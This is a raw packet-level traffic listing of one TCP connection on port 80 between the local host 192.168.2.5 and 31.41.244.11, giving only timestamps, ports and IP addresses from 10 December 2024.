Dec 10, 2024 05:10:11.428683996 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.428726912 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.429996014 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.430039883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.430110931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.430156946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.431355000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.431459904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.431504011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.432738066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.432799101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.432832956 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.432873011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.434092999 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.434139967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.434179068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.434223890 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.435472012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.435581923 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.435626984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.436785936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.436835051 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.436867952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.436918020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.438136101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.438184023 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.438220978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.438266039 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.439470053 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.439603090 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.439651012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.440772057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.440817118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.440860987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.440906048 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.442080975 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.442127943 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.442193985 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.442262888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.443363905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.443489075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.443533897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.444648027 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.444689035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.444768906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.444813013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.445964098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.446019888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.446075916 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.446119070 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.447207928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.447329998 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.447375059 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.448494911 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.448540926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.448591948 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.448635101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.449749947 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.449800968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.449841022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.449882984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.451138973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.451260090 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.451317072 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.452456951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.452584028 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.452641010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.453686953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.453739882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.453758955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.453800917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.454904079 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.454947948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.454999924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.456222057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.456269979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.456738949 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.456785917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.457463980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.457513094 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.457593918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.457638025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.458722115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.458766937 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.458858013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.458899975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.460016012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.460129976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.460182905 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.461277962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.461327076 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.461457014 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.461507082 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.462544918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.462593079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.462635040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.462681055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.463819027 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.463890076 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.463922977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.463973045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.465130091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.465174913 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.465210915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.465251923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.466355085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.466401100 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.466469049 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.466512918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.467669964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.467777014 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.467823029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.468985081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.469027042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.469091892 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.469130039 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.470227957 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.470278978 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.470315933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.470359087 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.471477985 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.471580029 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.471627951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.472728968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.472774029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.472832918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.472879887 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.474019051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.474065065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.474134922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.474180937 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.475300074 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.475423098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.475477934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.476567984 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.476613045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.476655006 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.476701975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.477804899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.477849960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.599133968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.599248886 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.599328995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.599646091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.599745035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.599805117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.599821091 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.600689888 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.600714922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.600737095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.600765944 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.601670980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.601716995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.601784945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.601830959 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.602705002 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.602751017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.602797031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.602843046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.603725910 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.603838921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.603888035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.604782104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.604827881 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.604871035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.604914904 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.605773926 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.605885029 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.605942011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.606812000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.606868982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.606925964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.606975079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.607836962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.607953072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.608002901 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.608869076 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.608921051 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.608942032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.608989954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.609905005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.609952927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.610021114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.610066891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.610908031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.610954046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.611008883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.611967087 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.612020969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.612059116 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.612101078 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.612938881 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.612991095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.613049030 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.613094091 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.614082098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.614129066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.614284992 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.614329100 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.615318060 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.615530968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.615592003 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.616318941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.616377115 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.616558075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.616609097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.617341995 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.617388010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.617577076 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.617621899 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.618258953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.618302107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.618488073 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.618530989 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.619394064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.619447947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.619607925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.619652033 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.620099068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.620143890 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.620220900 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.620269060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.621110916 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.621155024 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.621217966 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.621258974 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.622132063 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.622176886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.622250080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.622296095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.623167038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.623275042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.623327971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.624201059 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.624250889 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.624346972 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.624391079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.625207901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.625256062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.625310898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.625353098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.626245022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.626296043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.626367092 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.626411915 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.627263069 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.627370119 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.627413988 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.628288984 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.628346920 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.628401995 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.628451109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.629311085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.629359961 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.629411936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.629456043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.630395889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.630444050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.630642891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.630690098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.631350994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.631663084 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.631710052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.632388115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.632436991 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.632538080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.632586002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.633414030 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.633457899 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.633526087 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.633570910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.634427071 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.634470940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.634541988 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.634588003 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.635449886 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.635570049 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.635617018 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.636461973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.636511087 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.636562109 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.636604071 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.637509108 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.637589931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.637604952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.637667894 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.638509035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.638550997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.638629913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.638672113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.639525890 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.639646053 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.639694929 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.640562057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.640625954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.640659094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.640703917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.641568899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.641613960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.641691923 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.641736984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.642605066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.642648935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.642714024 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.642762899 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.643626928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.643757105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.643801928 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.644644022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.644695044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.644772053 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.644818068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.645658970 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.645704985 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.645785093 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.645833969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.646697044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.646745920 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.646806955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.646847010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.647727013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.647834063 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.647892952 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.648751020 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.648818970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.648860931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.648911953 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.649770021 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.649828911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.649904966 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.649950981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.650801897 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.650866985 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.650897026 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.650942087 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.653621912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.653665066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.653672934 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.653729916 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.791270971 CET	80	49833	31.41.244.11	192.168.2.5
